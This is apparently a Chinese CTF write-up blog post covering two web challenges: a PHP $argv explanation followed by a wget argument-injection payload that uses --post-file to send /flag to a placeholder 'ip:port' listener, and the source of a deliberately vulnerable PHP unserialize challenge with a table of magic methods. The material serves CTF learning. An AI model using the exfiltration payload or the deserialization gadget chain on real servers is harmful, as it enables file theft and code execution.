战疫 WP

1.check in

图片

图片

 

arg:

在实际工作中有可能会碰到需要在nginx命令行执行php脚本的时候,当然你可以去配置一个conf用外网访问。

在nginx命令行中 使用

php index.php

就可以执行这个index.php脚本了,但是怎么传递参数呢?那就要用到$argv和$aegc了。不用开启什么设置 直接在脚本中使用,类似于http传值中的$POST和$GET.。

在index.php插入以下代码

 
<?php
echo $argv[0];     echo "\n";
var_dump($argv[1]);    echo "\n";
var_dump(intval($argv[2]));  echo "\n";
echo $argv[3];     echo "\n";
echo $argc; 

然后 在nginx命令行中 使用

php index.php 1 10 100 

显示

index.php      //$argv[0]显示结果 经测试此处显示的是此脚本相对于执行位置的相对路径(就是你在哪里输入的php index.php,这里显示的就是 index.php 相对于你当前目录的位置)
string(1) "1"    //$argv[1]显示第一个参数会转为字符串
int(10)        //$argv[2]显示第二个参数
100          //$argv[3]显示第二个参数
4           //$argv参数的个数 相对路径+你传的参数 

为了便于记忆查了一下这变量 $avgv 为 argument vector, $avgc 为 argument count payload:/wget?argv=dotast&argv=--post-file&argv=/flag&argv=http://ip:port/

再用vps监听相应端口即可

图片

2.easyphp

  <?php
​
class Check {
    public static $str1 = false;
    public static $str2 = false;
}
​
​
​
class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}
​
​
​
class Hint {
​
    public function __wakeup(){
        $this->hint = "no hint";
    }
​
    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }  
    }
}
​
​
​
class Bunny {
​
    public function __toString()
    {
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}
​
class Welcome {
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}
​
class Bypass {
​
    public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            throw new Error("Error");
        }
    }
}
​
if (isset($_GET['code'])) {
    unserialize($_GET['code']);
} else {
    highlight_file(__FILE__);
}
  

php中的::是调用类中的静态方法或者常量,属性的符号。

php中双冒号的具体使用:

https://www.cnblogs.com/abandonship/articles/2182478.html

魔术方法    作用 
__construct()   实例化类时自动调用 
​
__destruct()    类对象使用结束时自动调用(析构方法没有返回值,主要作用是释放资源的
操作,并不是销毁对象本身.在销毁对象前,系统自动的调用该类的析构方法,一个类最多只有一个
析构方法) 
​
__set() 在给未定义的属性赋值时自动调用 
​
__get() 调用未定义的属性时自动调用 
​
__isset()   使用 isset() 或 empty() 函数时自动调用 
​
__unset()   使用 unset() 时自动调用 
​
__sleep()   使用 serialize 序列化前自动调用 
​
__wakeup()  使用 unserialize 反序列化前自动调用 
​
__call()    调用一个不存在的方法时自动调用 
​
__callStatic()  调用一个不存在的静态方法时自动调用 
​
__toString()    把对象转换成字符串时自动调用 
​
__invoke()  当尝试把对象当方法调用时自动调用 (可能是起到提醒或者警告作用)
​
__set_state()   当使用 var_export() 函数时自动调用,接受一个数组参数 
​
__clone()   当使用 clone 复制一个对象时自动调用 
​
__debugInfo()   使用 var_dump() 打印对象信息时自动调用



posted @ 2021-11-08 23:21  _Nov1ce  阅读(56)  评论(0)    收藏  举报